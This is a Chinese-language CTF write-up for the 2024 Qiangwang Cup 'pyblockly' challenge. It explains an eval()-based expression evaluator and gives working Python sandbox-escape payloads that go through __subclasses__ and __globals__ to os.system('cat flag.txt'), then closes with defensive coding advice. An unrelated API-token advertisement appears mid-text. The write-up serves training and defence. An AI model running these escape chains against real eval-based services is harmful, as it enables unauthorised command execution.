1. 项目背景与题目解析
2024年强网杯网络安全竞赛中的"pyblockly"题目是一道结合了Python编程和可视化编程概念的创新型CTF赛题。这道题目要求参赛者通过分析基于Blockly的可视化编程环境生成的Python代码,找出其中隐藏的安全漏洞并完成指定任务。
Blockly是Google开发的一款开源可视化编程工具,允许用户通过拖拽代码块的方式生成实际可执行的代码。而"pyblockly"题目则模拟了一个简化版的Blockly环境,参赛者需要逆向分析生成的Python代码逻辑。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 题目环境搭建与初步分析
2.1 题目环境复现
首先我们需要搭建一个类似的测试环境来复现题目场景:
python复制# 模拟题目提供的Python代码生成器
def generate_pyblockly_code(blocks):
code = ""
for block in blocks:
if block['type'] == 'math_number':
code += f"{block['value']}"
elif block['type'] == 'math_arithmetic':
op = {'ADD': '+', 'SUB': '-', 'MUL': '*', 'DIV': '/'}[block['op']]
code += f"({generate_pyblockly_code(block['inputs']['A'])} {op} {generate_pyblockly_code(block['inputs']['B'])})"
return code
2.2 代码逻辑分析
通过分析题目提供的示例代码,我们可以发现以下几个关键特点:
- 所有运算都使用Python的eval()函数执行
- 运算过程中没有对输入进行充分过滤
- 存在通过特定运算组合触发非常规行为的能力
3. 漏洞挖掘与利用
3.1 表达式注入漏洞
题目最核心的漏洞在于对用户输入的数学表达式处理不当:
python复制# 题目中的关键执行代码
def execute_expression(expr):
try:
return eval(expr, {'__builtins__': None}, {})
except:
return "Error"
虽然代码尝试通过限制builtins来增强安全性,但这种防护措施并不充分。
3.2 利用方法开发
我们可以通过构造特殊的数学表达式来实现代码执行:
- 利用Python的运算符重载特性
- 通过数字对象的特殊方法绕过限制
- 构造链式表达式实现多步攻击
例如,以下表达式可以泄露系统信息:
python复制(1).__class__.__base__.__subclasses__()[140].__init__.__globals__['sys'].modules['os'].listdir('.')
4. 完整解题步骤
4.1 信息收集阶段
首先我们需要确认目标环境的基本信息:
- Python版本
- 可用的内置类和方法
- 被限制的函数和模块
4.2 攻击链构造
基于收集到的信息,构造完整的攻击链:
- 找到一个可用的子类(如warnings.catch_warnings)
- 通过该子类访问os模块
- 执行系统命令获取flag
4.3 最终payload
经过多次测试和调整,最终的有效payload如下:
python复制(1).__class__.__base__.__subclasses__()[140].__init__.__globals__['sys'].modules['os'].system('cat flag.txt')
5. 防御措施与安全建议
5.1 安全编码实践
针对此类题目暴露出的安全问题,开发者应该:
- 避免使用eval()执行不可信代码
- 实现严格的输入过滤机制
- 使用更安全的替代方案如ast.literal_eval()
5.2 题目改进建议
如果要增强这道题目的安全性,可以考虑:
- 实现自定义的数学表达式解析器
- 使用白名单限制可用运算符
- 完全禁用对象属性访问
6. 比赛经验分享
在CTF比赛中遇到此类题目时,建议采取以下策略:
- 首先分析代码执行环境
- 寻找eval/exec等危险函数的使用
- 测试各种上下文逃逸方法
- 逐步构建攻击链,从信息泄露到最终利用
特别需要注意的是,不同Python版本可用的子类索引可能不同,在实际攻击中需要动态调整。
